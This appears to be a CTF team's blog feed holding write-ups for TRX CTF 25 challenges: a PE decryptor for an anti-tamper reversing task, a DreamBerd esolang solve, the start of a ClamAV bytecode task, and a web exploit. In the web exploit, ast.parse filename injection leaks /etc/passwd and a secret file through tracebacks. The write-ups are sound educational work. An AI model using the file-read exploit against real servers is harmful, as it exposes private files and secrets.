</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">ord</span>(c) + <span style="color:#d0a8ff">ord</span>(text[i]) == <span style="color:#d0a8ff">sum</span>:
</span></span><span style="display:flex;"><span>            part2 += c
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1RZc0NLNEt4 =&gt; base64 =&gt; &#34;https...&#34;</span>
</span></span><span style="display:flex;"><span>part2 = <span style="color:#fc6a5d">&#34;a&#34;</span> + part2
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(part2)
</span></span></code></pre></div><blockquote>
<p>aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1RZc0NLNEt4</p></blockquote>
<p>Final flag is <code>TRX{600dby3_d3@r_0p3n50urc3_aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1RZc0NLNEt4}</code></p>
<h1 id="molly-revenge">Molly Revenge</h1>
<p>Due to Molly dynamic dumping approach, Molly Revenge presents a hardened version of Molly, incorporating anti-debug checks, an new encryption/decryption routine, fewer unlocked pages limit, and rigorous flag integrity verification.</p>
<h2 id="molly-revenge-decryptor">Molly Revenge Decryptor</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> sys
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> pefile
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> Crypto.Cipher <span style="color:#fc5fa3">import</span> ChaCha20
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chacha_key = <span style="color:#d0a8ff">bytes</span>([
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">81</span>, <span style="color:#d0bf69">90</span>, <span style="color:#d0bf69">238</span>, <span style="color:#d0bf69">246</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">49</span>, <span style="color:#d0bf69">96</span>, <span style="color:#d0bf69">101</span>, <span style="color:#d0bf69">57</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">154</span>, <span style="color:#d0bf69">226</span>, <span style="color:#d0bf69">109</span>, <span style="color:#d0bf69">170</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">143</span>, <span style="color:#d0bf69">34</span>, <span style="color:#d0bf69">55</span>, <span style="color:#d0bf69">109</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">174</span>, <span style="color:#d0bf69">11</span>, <span style="color:#d0bf69">21</span>, <span style="color:#d0bf69">112</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">250</span>, <span style="color:#d0bf69">101</span>, <span style="color:#d0bf69">27</span>, <span style="color:#d0bf69">136</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">129</span>, <span style="color:#d0bf69">218</span>, <span style="color:#d0bf69">111</span>, <span style="color:#d0bf69">100</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#d0bf69">38</span>, <span style="color:#d0bf69">121</span>, <span style="color:#d0bf69">11</span>, <span style="color:#d0bf69">3</span>
</span></span><span style="display:flex;"><span>])
</span></span><span style="display:flex;"><span>chacha_nonce = <span style="color:#d0a8ff">bytes</span>([<span style="color:#d0bf69">0xd0</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">main</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(sys.argv) != <span style="color:#d0bf69">2</span>:
</span></span><span style="display:flex;"><span>        sys.exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    pe_path = sys.argv[<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>        pe = pefile.PE(pe_path)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">except</span> Exception <span style="color:#fc5fa3">as</span> e:
</span></span><span style="display:flex;"><span>        sys.exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    text_section = <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> section in pe.sections:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#39;.text&#39;</span> in section.Name:
</span></span><span style="display:flex;"><span>            text_section = section
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> text_section is <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>        sys.exit(<span style="color:#d0bf69">2</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    data = <span style="color:#d0a8ff">bytearray</span>(text_section.get_data())
</span></span><span style="display:flex;"><span>    pages = text_section.SizeOfRawData // <span style="color:#d0bf69">0x1000</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(pages):
</span></span><span style="display:flex;"><span>        offset = i * <span style="color:#d0bf69">0x1000</span>
</span></span><span style="display:flex;"><span>        cipher = ChaCha20.new(key=chacha_key, nonce=chacha_nonce) <span style="color:#6c7986"># fancy way to use ChaCha20 since nonce doesn&#39;t change</span>
</span></span><span style="display:flex;"><span>        data[offset:offset + <span style="color:#d0bf69">0x1000</span>] = <span style="color:#d0a8ff">bytearray</span>(cipher.decrypt(data[offset:offset + <span style="color:#d0bf69">0x1000</span>]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    pe.set_bytes_at_offset(text_section.PointerToRawData, <span style="color:#d0a8ff">bytes</span>(data))
</span></span><span style="display:flex;"><span>    pe.write(<span style="color:#fc6a5d">&#39;molly_revenge_dec.exe&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    main()
</span></span></code></pre></div><h1 id="special-notes">Special Notes</h1>
<p>Molly reimplements the Byfron Hyperion anti-tamper feature, originally adopted in Roblox, in a simpler CTF-style manner. <em>This explains the fancy descriptions.</em></p>
<pre tabindex="0"><code>[Roblox] Developers,

We know how important anti-cheat and security are for you and the entire Roblox community. At RDC 1,7k, we announced that we’re turning our focus to cheat prevention. To help get us there, we’re thrilled to welcome Byfron, a leader in anti-cheat solutions, to Roblox. Together, we are combining forces to greatly expand Roblox’s anti-cheat capabilities.

Byfron has developed a state-of-the-art anti-cheat solution that is being utilized by some of the world’s largest game publishers. The team is also passionate about competitive gaming and security, so we think they’re going to be a great match for our community. With their deep domain knowledge and security engineering expertise, we will be accelerating our roadmap to build robust anti-cheat and security solutions. This includes client-side and server-side anti-cheat, alt accounts detection, and additional tools for developers to combat cheaters. Integrating Byfron’s technology into the Roblox platform will improve experience security, protect the competitive landscape, and to allow developers to spend more time building their experiences.

We look forward to sharing more in the coming months. In the meantime, please join us in welcoming Byfron to the Roblox community!
</code></pre>]]></content></item><item><title>TRX CTF 25 - Online Python Editor</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-online-python-editor/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-online-python-editor/</guid><description>&lt;p>This is an easy server side challenge&lt;/p>
&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>We&amp;rsquo;re given a challenge that allows us to edit Python code online. Syntax checks are performed server-side using &lt;code>ast.parse&lt;/code>, and the source code is passed by unpacking &lt;code>request.json&lt;/code> into the function call. If an exception is thrown, the traceback will be returned to us.&lt;/p>
&lt;p>Our goal is to read the content of &lt;code>secret.py&lt;/code>&lt;/p>
&lt;p>Since the source code is nearly non-existent, the vulnerability clearly lies in how &lt;code>ast.parse&lt;/code> is called:&lt;/p></description><content type="html"><![CDATA[<p>This is an easy server side challenge</p>
<h2 id="overview">Overview</h2>
<p>We&rsquo;re given a challenge that allows us to edit Python code online. Syntax checks are performed server-side using <code>ast.parse</code>, and the source code is passed by unpacking <code>request.json</code> into the function call. If an exception is thrown, the traceback will be returned to us.</p>
<p>Our goal is to read the content of <code>secret.py</code></p>
<p>Since the source code is nearly non-existent, the vulnerability clearly lies in how <code>ast.parse</code> is called:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>ast.parse(**request.json)
</span></span></code></pre></div><p>Let&rsquo;s review the documentation for <code>ast.parse</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>parse(
</span></span><span style="display:flex;"><span>    source,
</span></span><span style="display:flex;"><span>    filename=<span style="color:#fc6a5d">&#39;&lt;unknown&gt;&#39;</span>,
</span></span><span style="display:flex;"><span>    mode=<span style="color:#fc6a5d">&#39;exec&#39;</span>,
</span></span><span style="display:flex;"><span>    *,
</span></span><span style="display:flex;"><span>    type_comments=<span style="color:#fc5fa3">False</span>,
</span></span><span style="display:flex;"><span>    feature_version=<span style="color:#fc5fa3">None</span>,
</span></span><span style="display:flex;"><span>    optimize=-<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>    Parse the source into an AST node.
</span></span><span style="display:flex;"><span>    Equivalent to <span style="color:#d0a8ff">compile</span>(source, filename, mode, PyCF_ONLY_AST).
</span></span><span style="display:flex;"><span>    Pass type_comments=<span style="color:#fc5fa3">True</span> to get back <span style="color:#d0a8ff">type</span> comments where the syntax allows.
</span></span></code></pre></div><p>Although we&rsquo;re not able to execute arbitrary code, there&rsquo;s something interesting here:</p>
<blockquote>
<p>Equivalent to <code>compile(source, filename, mode, PyCF_ONLY_AST)</code></p></blockquote>
<p><code>compile</code> is known to be unsafe if used in a certain way. In fact, we can read files by causing a syntax error. For example:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>&gt;&gt;&gt; <span style="color:#d0a8ff">compile</span>(<span style="color:#fc6a5d">&#34;.&#34;</span>, <span style="color:#fc6a5d">&#34;/etc/passwd&#34;</span>, <span style="color:#fc6a5d">&#34;exec&#34;</span>)
</span></span><span style="display:flex;"><span>Traceback (most recent call last):
</span></span><span style="display:flex;"><span>  File <span style="color:#fc6a5d">&#34;&lt;python-input-3&gt;&#34;</span>, line <span style="color:#d0bf69">1</span>, in &lt;module&gt;
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">compile</span>(<span style="color:#fc6a5d">&#34;.&#34;</span>, <span style="color:#fc6a5d">&#34;/etc/passwd&#34;</span>, <span style="color:#fc6a5d">&#34;exec&#34;</span>)
</span></span><span style="display:flex;"><span>    ~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^
</span></span><span style="display:flex;"><span>  File <span style="color:#fc6a5d">&#34;/etc/passwd&#34;</span>, line <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    root:x:<span style="color:#d0bf69">0</span>:<span style="color:#d0bf69">0</span>:Super User:/root:/<span style="color:#d0a8ff">bin</span>/bash
</span></span><span style="display:flex;"><span>    ^
</span></span></code></pre></div><p>To read multiple lines, we can add a newline before the dot, like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#d0a8ff">compile</span>(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">.&#34;</span>, <span style="color:#fc6a5d">&#34;/etc/passwd&#34;</span>, <span style="color:#fc6a5d">&#34;exec&#34;</span>)
</span></span></code></pre></div><h1 id="final-exploit">Final exploit</h1>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> requests
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>URL = <span style="color:#fc6a5d">&#34;http://localhost:3000&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> x in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">32</span>):
</span></span><span style="display:flex;"><span>    leak_source = <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>*x + <span style="color:#fc6a5d">&#34;.&#34;</span>
</span></span><span style="display:flex;"><span>    response = requests.post(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">{</span>URL<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">/check&#34;</span>, json={
</span></span><span style="display:flex;"><span>        <span style="color:#fc6a5d">&#34;source&#34;</span>: leak_source,
</span></span><span style="display:flex;"><span>        <span style="color:#fc6a5d">&#34;filename&#34;</span>: <span style="color:#fc6a5d">&#34;/app/secret.py&#34;</span>
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>    leak = response.json()[<span style="color:#fc6a5d">&#34;error&#34;</span>].split(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)[-<span style="color:#d0bf69">4</span>].strip()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> leak == <span style="color:#fc6a5d">&#34;.&#34;</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(leak)
</span></span></code></pre></div>]]></content></item><item><title>TRX CTF 25 - Perfect Bird</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-perfect-bird/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-perfect-bird/</guid><description>&lt;h2 id="challenge-description">Challenge Description&lt;/h2>
&lt;p>As a &lt;em>bird&lt;/em> soaring through the sky, you seek the &lt;em>perfect language&lt;/em>, and then&amp;hellip; you find this&lt;/p>
&lt;h2 id="analysis">Analysis&lt;/h2>
&lt;p>When we examine the challenge file, we immediately notice that it has a &lt;code>.db3&lt;/code> extension and is quite large. Opening it with a text editor reveals a strange-looking language that initially appears obfuscated. Our first step is to determine what language this is.&lt;/p>
&lt;p>Given the &lt;code>.db3&lt;/code> file extension and the challenge description, which mentions the &lt;strong>perfect language&lt;/strong> and emphasizes the word &lt;strong>bird&lt;/strong>, we perform a quick search. This leads us to conclude that the language in question is &lt;a href="https://github.com/TodePond/GulfOfMexico">&lt;strong>DreamBerd&lt;/strong>&lt;/a>, an eso-lang.&lt;/p></description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>As a <em>bird</em> soaring through the sky, you seek the <em>perfect language</em>, and then&hellip; you find this</p>
<h2 id="analysis">Analysis</h2>
<p>When we examine the challenge file, we immediately notice that it has a <code>.db3</code> extension and is quite large. Opening it with a text editor reveals a strange-looking language that initially appears obfuscated. Our first step is to determine what language this is.</p>
<p>Given the <code>.db3</code> file extension and the challenge description, which mentions the <strong>perfect language</strong> and emphasizes the word <strong>bird</strong>, we perform a quick search. This leads us to conclude that the language in question is <a href="https://github.com/TodePond/GulfOfMexico"><strong>DreamBerd</strong></a>, an eso-lang.</p>
<h3 id="static-analysis">Static Analysis</h3>
<p>After reviewing DreamBerd&rsquo;s specifics, we realize that there is no way to execute the program directly, so we opt for static analysis instead.</p>
<p>Examining the code, we observe that the variable <code>42</code> is used as an index for <code>m</code>. The declaration of <code>m</code> appears at the end of the file (line 34434) as an array of numbers:
<code>[205, 242, 231, 208, 235, 150, 5, 14, 162, 115, 134, 81, 118, 138, 49, 16, 54, 142, 80, 102, 139, 35, 127, 83, 52, 106, 200, 185, 153, 203, 34, 66, 62, 12, 7, 166, 34, 81, 250]</code>
The next line of the code prints this array, suggesting that myabe represents the flag for the challenge. Upon further analysis, we see that the rest of the code repeatedly executes the same operation inside an <code>if</code> statement that is always <strong>True</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> (;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<span style="color:#d0bf69">42</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">const</span> var v = m[a-<span style="color:#d0bf69">1</span>]!!
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">const</span> var w = ((<span style="color:#d0bf69">42</span> ^ v) % <span style="color:#d0bf69">256</span>) ^ <span style="color:#d0bf69">0x89</span>!!!
</span></span><span style="display:flex;"><span>	m[a-<span style="color:#d0bf69">1</span>] = w!!!!
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">const</span> var a&lt;-<span style="color:#d0bf69">3</span>&gt; = <span style="color:#d0bf69">42</span> % <span style="color:#d0bf69">39</span>!!
</span></span><span style="display:flex;"><span>	<span style="color:#d0bf69">42</span> += <span style="color:#d0bf69">1</span>!
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We simplify this snippet by renaming <code>42</code> as <code>i</code> and removing the redundant <code>!</code> symbols:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> var v = m[a-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> var w = ((i ^ v) % <span style="color:#d0bf69">256</span>) ^ <span style="color:#d0bf69">0x89</span>
</span></span><span style="display:flex;"><span>m[a-<span style="color:#d0bf69">1</span>] = w
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> var a&lt;-<span style="color:#d0bf69">3</span>&gt; = i % <span style="color:#d0bf69">39</span>
</span></span><span style="display:flex;"><span>i += <span style="color:#d0bf69">1</span>
</span></span></code></pre></div><p>Rearranging the instructions for better readability and removing unnecessary keywords (<code>const</code> and <code>var</code>), we obtain:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>a = i % <span style="color:#d0bf69">39</span>
</span></span><span style="display:flex;"><span>v = m[a-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>w = ((i ^ v) % <span style="color:#d0bf69">256</span>) ^ <span style="color:#d0bf69">0x89</span>
</span></span><span style="display:flex;"><span>m[a-<span style="color:#d0bf69">1</span>] = w
</span></span><span style="display:flex;"><span>i += <span style="color:#d0bf69">1</span>
</span></span></code></pre></div><p>Since DreamBerd indexes arrays in an unusual way, we account for the <strong>-1</strong> offset and rewrite the logic in Python:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>index = i % <span style="color:#d0bf69">39</span>
</span></span><span style="display:flex;"><span>value = m[index]
</span></span><span style="display:flex;"><span>result = ((i ^ value) % <span style="color:#d0bf69">256</span>) ^ <span style="color:#d0bf69">0x89</span>
</span></span><span style="display:flex;"><span>m[index] = result
</span></span><span style="display:flex;"><span>i += <span style="color:#d0bf69">1</span>
</span></span></code></pre></div><h2 id="writing-the-solve-script">Writing the Solve Script</h2>
<p>To extract and decode the flag, we implement the following approach:</p>
<ul>
<li><strong>Read the file</strong>, remove <code>!</code> symbols, and strip unnecessary whitespace:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>file = <span style="color:#fc6a5d">&#34;chall.db3&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(file, <span style="color:#fc6a5d">&#34;r&#34;</span>) <span style="color:#fc5fa3">as</span> f:
</span></span><span style="display:flex;"><span>	code = f.read().split(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>code = [c.strip().replace(<span style="color:#fc6a5d">&#39;!&#39;</span>, <span style="color:#fc6a5d">&#39;&#39;</span>) <span style="color:#fc5fa3">for</span> c in code]
</span></span></code></pre></div><ul>
<li><strong>Extract the <code>m</code> array</strong> (or copy it directly):</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>mem = <span style="color:#d0a8ff">list</span>(<span style="color:#d0a8ff">map</span>(<span style="color:#d0a8ff">int</span>, code[-<span style="color:#d0bf69">4</span>].split(<span style="color:#fc6a5d">&#39;[&#39;</span>)[<span style="color:#d0bf69">1</span>][:-<span style="color:#d0bf69">1</span>].split(<span style="color:#fc6a5d">&#39;, &#39;</span>)))
</span></span></code></pre></div><ul>
<li><strong>Extract the lines containing hardcoded values:</strong></li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>start = <span style="color:#fc6a5d">&#39;const var w = &#39;</span>
</span></span><span style="display:flex;"><span>operations = [c[<span style="color:#d0a8ff">len</span>(start):] <span style="color:#fc5fa3">for</span> c in code <span style="color:#fc5fa3">if</span> c.startswith(start)]
</span></span></code></pre></div><ul>
<li><strong>Implement the original code logic:</strong></li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i, op in <span style="color:#d0a8ff">enumerate</span>(operations):
</span></span><span style="display:flex;"><span>	num = <span style="color:#d0a8ff">int</span>(op.split(<span style="color:#fc6a5d">&#39; ^ &#39;</span>)[<span style="color:#d0bf69">2</span>], <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>	addr = i % <span style="color:#d0a8ff">len</span>(mem)
</span></span><span style="display:flex;"><span>	mem[addr] = ((i ^ mem[addr]) % <span style="color:#d0bf69">256</span>) ^ num
</span></span></code></pre></div><ul>
<li><strong>Cast and print the flag:</strong></li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>flag = <span style="color:#d0a8ff">bytes</span>(mem).decode()
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(flag)
</span></span></code></pre></div><h2 id="final-solve-script">Final Solve Script</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>file = <span style="color:#fc6a5d">&#34;chall.db3&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(file, <span style="color:#fc6a5d">&#34;r&#34;</span>) <span style="color:#fc5fa3">as</span> f:
</span></span><span style="display:flex;"><span>	code = f.read().split(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>code = [c.strip().replace(<span style="color:#fc6a5d">&#39;!&#39;</span>, <span style="color:#fc6a5d">&#39;&#39;</span>) <span style="color:#fc5fa3">for</span> c in code]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mem = <span style="color:#d0a8ff">list</span>(<span style="color:#d0a8ff">map</span>(<span style="color:#d0a8ff">int</span>, code[-<span style="color:#d0bf69">4</span>].split(<span style="color:#fc6a5d">&#39;[&#39;</span>)[<span style="color:#d0bf69">1</span>][:-<span style="color:#d0bf69">1</span>].split(<span style="color:#fc6a5d">&#39;, &#39;</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>start = <span style="color:#fc6a5d">&#39;const var w = &#39;</span>
</span></span><span style="display:flex;"><span>operations = [c[<span style="color:#d0a8ff">len</span>(start):] <span style="color:#fc5fa3">for</span> c in code <span style="color:#fc5fa3">if</span> c.startswith(start)]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i, op in <span style="color:#d0a8ff">enumerate</span>(operations):
</span></span><span style="display:flex;"><span>	num = <span style="color:#d0a8ff">int</span>(op.split(<span style="color:#fc6a5d">&#39; ^ &#39;</span>)[<span style="color:#d0bf69">2</span>], <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>	addr = i % <span style="color:#d0a8ff">len</span>(mem)
</span></span><span style="display:flex;"><span>	mem[addr] = ((i ^ mem[addr]) % <span style="color:#d0bf69">256</span>) ^ num
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag = <span style="color:#d0a8ff">bytes</span>(mem).decode()
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(flag)
</span></span></code></pre></div><h2 id="flag">Flag</h2>
<p><code>TRX{tHi5_I5_th3_P3rf3ct_l4nGU4g3!!!!!!}</code></p>
]]></content></item><item><title>TRX CTF 25 - RuleMaster</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-rulemaster/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-rulemaster/</guid><description>&lt;h2 id="description">Description&lt;/h2>
&lt;p>I am tired of hackers evading my signatures, why don&amp;rsquo;t you try triggering it for a change?&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>The file given for the challenge is a &amp;ldquo;.cbc&amp;rdquo; with the magic bytes &amp;ldquo;ClamBC&amp;rdquo;, which, with a bit of googling, we can easily find out that is a &amp;ldquo;ClamAV signature bytecode&amp;rdquo;.&lt;/p>
&lt;p>This is a feature offered by the ClamAV AntiVirus where an analyst can write a logical signature in C, which is then compiled into bytecode and added to the traditional signatures of the antivirus.&lt;/p></description><content type="html"><![CDATA[<h2 id="description">Description</h2>
<p>I am tired of hackers evading my signatures, why don&rsquo;t you try triggering it for a change?</p>
<h2 id="solution">Solution</h2>
<p>The file given for the challenge is a &ldquo;.cbc&rdquo; with the magic bytes &ldquo;ClamBC&rdquo;, which, with a bit of googling, we can easily find out that is a &ldquo;ClamAV signature bytecode&rdquo;.</p>
<p>This is a feature offered by the ClamAV AntiVirus where an analyst can write a logical signature in C, which is then compiled into bytecode and added to the traditional signatures of the antivirus.</p>
<p>The first result of the google search is the (ClamBC)[https://linux.die.net/man/1/clambc] tool, installed with ClamAV, which is essential to the challenge.</p>
<p>The first thing one can try is the comand to extract the source code, which fails:</p>
<pre tabindex="0"><code>&gt; clambc -p chall.cbc
Nice_try_but_it_cant_be_this_easy%
</code></pre><p>This is beacause the bytecode was compiled with a COPYRIGHT header, meaning the source code is not included in the bytecode.</p>
<p>For this reason we have to work with the bytecode which we can extract with the following command:</p>
<pre tabindex="0"><code>&gt; clambc -c chall.cbc
</code></pre><p>Before looking at the bytecode we can check which is the initial signature that triggers the bytecode, which we can see with the following command:</p>
<pre tabindex="0"><code>&gt; clambc --info chall.cbc
...
bytecode logical signature: The_RuleGod...{Congrats_You_got_it,It_just_needs_a_little_fixing-come_on,Perfect_form_now_we_just_need_whats_inside,Well_thats_a_start_but_its_not_quite_it_yet,You_read_the_CTF_rules_i_like_that};Engine:56-255,Target:0;0;0:5452587b
...
</code></pre><p>We can see at the end of the line after &ldquo;Target&rdquo; that the rule triggers when the file contains &ldquo;5452587b&rdquo;, which is &ldquo;TRX{&rdquo;, our flag format.</p>
